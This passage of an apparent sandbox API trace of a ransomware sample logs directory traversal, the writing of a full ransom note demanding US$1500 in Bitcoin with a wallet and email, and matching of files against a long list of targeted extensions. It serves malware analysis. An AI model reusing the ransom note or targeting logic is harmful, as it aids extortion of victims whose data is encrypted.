cAlternateFileName="SYSTEM~1.DIR")) returned 1 [0105.213] lstrcmpA (lpString1=".", lpString2="System.DirectorySer#") returned -1 [0105.213] lstrcmpA (lpString1="..", lpString2="System.DirectorySer#") returned -1 [0105.213] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0105.213] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.DirectorySer#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#" [0105.213] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#") returned 67 [0105.213] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc712a3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x88cefb6f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x88cefb6f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0105.215] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.215] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc712a3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x88cefb6f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x88cefb6f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.215] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.215] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.215] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc712a3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc712a3d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc712a3d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="45ec12795950a7d54691591c615a9e3c", cAlternateFileName="45EC12~1")) returned 1 [0105.215] lstrcmpA (lpString1=".", lpString2="45ec12795950a7d54691591c615a9e3c") returned -1 [0105.215] lstrcmpA (lpString1="..", lpString2="45ec12795950a7d54691591c615a9e3c") returned -1 [0105.215] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\*.*") returned="*.*" [0105.216] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\", lpString2="45ec12795950a7d54691591c615a9e3c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c" [0105.216] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c") returned 100 [0105.216] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc712a3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc712a3d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc712a3d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0105.216] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.216] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc712a3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc712a3d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc712a3d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.217] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.217] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.217] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc65435c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc65435c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc67a4bc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x110c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.DirectoryServices.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0105.217] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.217] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.DirectoryServices.ni.dll") returned -1 [0105.217] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.DirectoryServices.ni.dll") returned -1 [0105.217] lstrcmpiA (lpString1="", lpString2="System.DirectoryServices.ni.dll") returned -1 [0105.217] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\*.*") returned="*.*" [0105.217] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\" [0105.217] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\") returned="" [0105.217] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\HOW TO DECRYPT FILES.txt" [0105.217] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.directoryser#\\45ec12795950a7d54691591c615a9e3c\\how to decrypt files.txt")) returned 0xffffffff [0105.217] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.directoryser#\\45ec12795950a7d54691591c615a9e3c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0105.226] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0105.226] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0105.229] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0105.229] CloseHandle (hObject=0x90) returned 1 [0105.229] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\", lpString2="System.DirectoryServices.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll" [0105.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.ems") returned 0 [0105.229] lstrlenA (lpString="*.ems") returned 5 [0105.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.db") returned 0 [0105.229] lstrlenA (lpString="*.db") returned 4 [0105.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.dbf") returned 0 [0105.229] lstrlenA (lpString="*.dbf") returned 5 [0105.229] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.myox") returned 0 [0105.230] lstrlenA (lpString="*.myox") returned 6 [0105.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.myo") returned 0 [0105.230] lstrlenA (lpString="*.myo") returned 5 [0105.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.qbw") returned 0 [0105.230] lstrlenA (lpString="*.qbw") returned 5 [0105.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.qbb") returned 0 [0105.230] lstrlenA (lpString="*.qbb") returned 5 [0105.230] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.qbm") returned 0 [0105.230] lstrlenA (lpString="*.qbm") returned 5 [0105.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.qbo") returned 0 [0105.231] lstrlenA (lpString="*.qbo") returned 5 [0105.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.qbx") returned 0 [0105.231] lstrlenA (lpString="*.qbx") returned 5 [0105.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.qba") returned 0 [0105.231] lstrlenA (lpString="*.qba") returned 5 [0105.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.qby") returned 0 [0105.231] lstrlenA (lpString="*.qby") returned 5 [0105.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.qbj") returned 0 [0105.231] lstrlenA (lpString="*.qbj") returned 5 [0105.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.ofx") returned 0 [0105.231] lstrlenA (lpString="*.ofx") returned 5 [0105.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.qif") returned 0 [0105.231] lstrlenA (lpString="*.qif") returned 5 [0105.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.mye") returned 0 [0105.231] lstrlenA (lpString="*.mye") returned 5 [0105.231] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.mbox") returned 0 [0105.232] lstrlenA (lpString="*.mbox") returned 6 [0105.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.eml") returned 0 [0105.232] lstrlenA (lpString="*.eml") returned 5 [0105.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.pst") returned 0 [0105.232] lstrlenA (lpString="*.pst") returned 5 [0105.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.ost") returned 0 [0105.232] lstrlenA (lpString="*.ost") returned 5 [0105.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.idx") returned 0 [0105.232] lstrlenA (lpString="*.idx") returned 5 [0105.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.dbx") returned 0 [0105.232] lstrlenA (lpString="*.dbx") returned 5 [0105.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.sql") returned 0 [0105.232] lstrlenA (lpString="*.sql") returned 5 [0105.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.mdb") returned 0 [0105.232] lstrlenA (lpString="*.mdb") returned 5 [0105.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.fdb") returned 0 [0105.232] lstrlenA (lpString="*.fdb") returned 5 [0105.232] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.wab") returned 0 [0105.233] lstrlenA (lpString="*.wab") returned 5 [0105.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.dat") returned 0 [0105.233] lstrlenA (lpString="*.dat") returned 5 [0105.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.txt") returned 0 [0105.233] lstrlenA (lpString="*.txt") returned 5 [0105.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.jpeg") returned 0 [0105.233] lstrlenA (lpString="*.jpeg") returned 6 [0105.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.jpg") returned 0 [0105.233] lstrlenA (lpString="*.jpg") returned 5 [0105.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.png") returned 0 [0105.233] lstrlenA (lpString="*.png") returned 5 [0105.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.php") returned 0 [0105.233] lstrlenA (lpString="*.php") returned 5 [0105.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.cs") returned 0 [0105.233] lstrlenA (lpString="*.cs") returned 4 [0105.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.cpp") returned 0 [0105.234] lstrlenA (lpString="*.cpp") returned 5 [0105.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.rar") returned 0 [0105.234] lstrlenA (lpString="*.rar") returned 5 [0105.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.zip") returned 0 [0105.234] lstrlenA (lpString="*.zip") returned 5 [0105.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.html") returned 0 [0105.234] lstrlenA (lpString="*.html") returned 6 [0105.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.htm") returned 0 [0105.234] lstrlenA (lpString="*.htm") returned 5 [0105.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.xlsx") returned 0 [0105.234] lstrlenA (lpString="*.xlsx") returned 6 [0105.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.xls") returned 0 [0105.234] lstrlenA (lpString="*.xls") returned 5 [0105.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.mp4") returned 0 [0105.235] lstrlenA (lpString="*.mp4") returned 5 [0105.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.ppt") returned 0 [0105.235] lstrlenA (lpString="*.ppt") returned 5 [0105.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.pptx") returned 0 [0105.235] lstrlenA (lpString="*.pptx") returned 6 [0105.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.doc") returned 0 [0105.236] lstrlenA (lpString="*.doc") returned 5 [0105.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.dot") returned 0 [0105.236] lstrlenA (lpString="*.dot") returned 5 [0105.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.docx") returned 0 [0105.236] lstrlenA (lpString="*.docx") returned 6 [0105.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.7z") returned 0 [0105.236] lstrlenA (lpString="*.7z") returned 4 [0105.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.tar") returned 0 [0105.236] lstrlenA (lpString="*.tar") returned 5 [0105.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.bz2") returned 0 [0105.236] lstrlenA (lpString="*.bz2") returned 5 [0105.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.gz") returned 0 [0105.236] lstrlenA (lpString="*.gz") returned 4 [0105.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.mkv") returned 0 [0105.236] lstrlenA (lpString="*.mkv") returned 5 [0105.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.eml") returned 0 [0105.236] lstrlenA (lpString="*.eml") returned 5 [0105.236] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.msg") returned 0 [0105.237] lstrlenA (lpString="*.msg") returned 5 [0105.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.edb") returned 0 [0105.237] lstrlenA (lpString="*.edb") returned 5 [0105.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.accdb") returned 0 [0105.237] lstrlenA (lpString="*.accdb") returned 7 [0105.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.odb") returned 0 [0105.237] lstrlenA (lpString="*.odb") returned 5 [0105.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.java") returned 0 [0105.237] lstrlenA (lpString="*.java") returned 6 [0105.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.asm") returned 0 [0105.237] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.pfx") returned 0 [0105.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.pem") returned 0 [0105.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.p12") returned 0 [0105.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.gpg") returned 0 [0105.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.vsd") returned 0 [0105.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.odg") returned 0 [0105.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.raw") returned 0 [0105.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.nef") returned 0 [0105.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.svg") returned 0 [0105.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.psd") returned 0 [0105.239] PathMatchSpecA 